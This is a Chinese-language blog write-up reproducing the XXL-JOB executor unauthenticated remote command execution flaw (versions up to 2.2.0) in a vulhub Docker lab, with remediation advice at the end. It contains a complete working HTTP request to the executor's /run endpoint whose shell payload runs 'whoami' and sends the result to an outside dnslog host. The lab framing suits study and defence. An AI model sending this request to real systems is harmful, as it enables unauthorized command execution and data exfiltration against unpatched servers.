wavewindsor

导航

XXL-JOB executor未授权访问漏洞

XXL-JOB概述

XXL-JOB 是一个开源的分布式任务调度平台,支持定时任务和分布式任务。该平台提供了一套可视化的任务管理界面,方便用户配置和监控任务的执行情况。

漏洞概述

漏洞影响版本:<=2.2.0

executor默认没有配置认证,未授权的攻击者可以通过RESTful API接口执行任意命令。

此漏洞为XXL-JOB配置不当情况下反序列化RCE。

执行器配置文件中说到端口号在默认情况下是9999

复现

本地搭建靶场,使用靶场为vulhub,使用docker运行环境

启动环境后,http://ip:8080为管理端,http://ip:9999为客户端

访问http://ip:9999/,出现以下情况可能存在漏洞

访问http://ip:9999/run,并使用bp抓包,将数据包的发送方式改为POST

数据包内容

POST /run HTTP/1.1
Host: {ip}:9999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 382

{
  "jobId": 4,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "ping -n 1 `whoami`.7fx080.dnslog.cn",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

注意:每次发送请求,需要更改报文中的jobId值,否则命令可能无法执行

成功得到回显

创建文件

 

注意:此环境由docker搭建,创建的文件生成于对应的容器中

复现完成

修复方式

1.将XXL-JOB Executor 升级到最新版本。

2.设置访问控制,在 XXL-JOB Executor 的配置文件中,确保设置了适当的访问控制。这可能涉及到设置用户名和密码,或者配置 IP 白名单,以确保只有授权的用户或 IP 地址可以访问 Executor。

3.修改默认端口。

4.使用防火墙配置来限制对 XXL-JOB Executor 端口的访问。只允许来自可信 IP 地址的请求访问 Executor。

posted on 2023-12-04 15:30  Wav3W1nd50r  阅读(1837)  评论(0编辑  收藏  举报